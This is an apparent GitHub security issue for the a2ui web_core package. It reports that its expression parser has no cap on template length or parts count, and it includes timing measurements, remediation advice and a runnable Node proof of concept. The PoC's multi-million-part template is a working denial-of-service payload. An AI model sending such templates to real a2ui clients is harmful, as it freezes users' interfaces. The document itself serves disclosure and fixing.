Skip to content

[BUG]: Expression parser has no template length or parts cap (multi-second parses per binding) #2389

Description

@ez-lbz

Expression parser has no template length or parts cap (multi-second parses per binding)

Repository: https://github.com/a2ui-project/a2ui
Affected: @a2ui/web_core (verified against published npm release 0.10.6)
CWE: CWE-400 (Uncontrolled Resource Consumption)

Summary

ExpressionParser bounds only recursion depth (MAX_DEPTH = 10); parse() accepts an input of any length and emits any number of ${…} parts. formatString invokes the parser on the agent-supplied template with no bound, so a dynamic property bound to {call:'formatString', args:{value: '<${x} repeated millions of times>'}} performs a multi-second parse on initial resolution — and again on every re-resolution of the binding (each data-model change). The missing length/parts bound (present for depth, absent for breadth) is the defect.

Affected code

  • renderers/web_core/src/v0_9/basic_catalog/expressions/expression_parser.ts — depth cap only (MAX_DEPTH = 10; npm dist …/expression_parser.js:26,31-69); no input-length or parts-count limit
  • renderers/web_core/src/v0_9/basic_catalog/functions/basic_functions.tsnew ExpressionParser().parse(template) on the agent-supplied value, unbounded (npm dist …/basic_functions.js:210-211)

Observed behavior (measured)

Published package, a TextField label bound to formatString with a template of N interpolations:

template parse cost at bind
hello ${x} (control) ~0 ms
2,000,000 ${x} parts 978 ms

Re-fires on every subsequent data-model change of bound paths.

Impact

One spec-valid binding consumes ~1 s of main-thread time per resolution, repeated on each change — sustained client-side DoS from a single message. Availability only.

Suggested remediation

  • Cap template length and parts count in ExpressionParser.parse (reject beyond a threshold).
  • Additionally bound formatString's value argument length in its Zod schema.

PoC

Prerequisites: Node ≥ 20 with @a2ui/web_core@0.10.6 installed. Run node poc_f25.mjs; on success it prints a JSON verdict ending in "confirmed": true and exits 0.

// poc_f25.mjs — F-25: ExpressionParser.parse has no template length / parts-count
// cap (only depth=10). formatString calls it on a SERVER-CONTROLLED template.
// We bind a TextField `label` to {call:'formatString', args:{value: template}}
// and measure the mount-time resolution. Confirmed if the 2M-part binding takes
// >300 ms vs a 1-part control.
import {
  MessageProcessor, ComponentContext, GenericBinder, Catalog,
} from '@a2ui/web_core/v0_9';
import { ColumnApi, TextFieldApi, createBasicCatalogFunctions } from '@a2ui/web_core/v0_9/basic_catalog';
const CATALOG_ID = 'https://a2ui.org/specification/v0_9_1/catalogs/basic/catalog.json';

function setup(template) {
  const catalog = new Catalog(CATALOG_ID, [ColumnApi, TextFieldApi], createBasicCatalogFunctions());
  const processor = new MessageProcessor([catalog]);
  processor.processMessages([
    { version: 'v0.9', createSurface: { surfaceId: 'poc', catalogId: CATALOG_ID } },
    { version: 'v0.9', updateDataModel: { surfaceId: 'poc', path: '/x', value: 'x' } },
    { version: 'v0.9', updateComponents: { surfaceId: 'poc', components: [
      { id: 'root', component: 'Column', children: ['tf'] },
      { id: 'tf', component: 'TextField', label: { call: 'formatString', args: { value: template } }, value: { path: '/x' } },
    ] } },
  ]);
  return processor.model.getSurface('poc');
}
function timed(template) {
  const surface = setup(template);
  const ctx = new ComponentContext(surface, 'tf');
  const binder = new GenericBinder(ctx, TextFieldApi.schema);
  const t0 = process.hrtime.bigint();
  const sub = binder.subscribe(() => {});
  const ns = Number(process.hrtime.bigint() - t0);
  sub.unsubscribe(); binder.dispose(); surface.dispose();
  return +(ns / 1e6).toFixed(0);
}
const ctrl = timed('hello ${x}');
const big = timed('${x} '.repeat(2_000_000));
const ok = big > 300 && big > ctrl * 20;
console.log(JSON.stringify({ finding: 'F-25-expression-parser-no-parts-cap', control_1part_ms: ctrl, with_2000000_parts_ms: big, confirmed: ok }, null, 2));
process.exit(ok ? 0 : 1);

Metadata

Metadata

Assignees

Labels

Type

No type

Projects

Status
In Progress

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions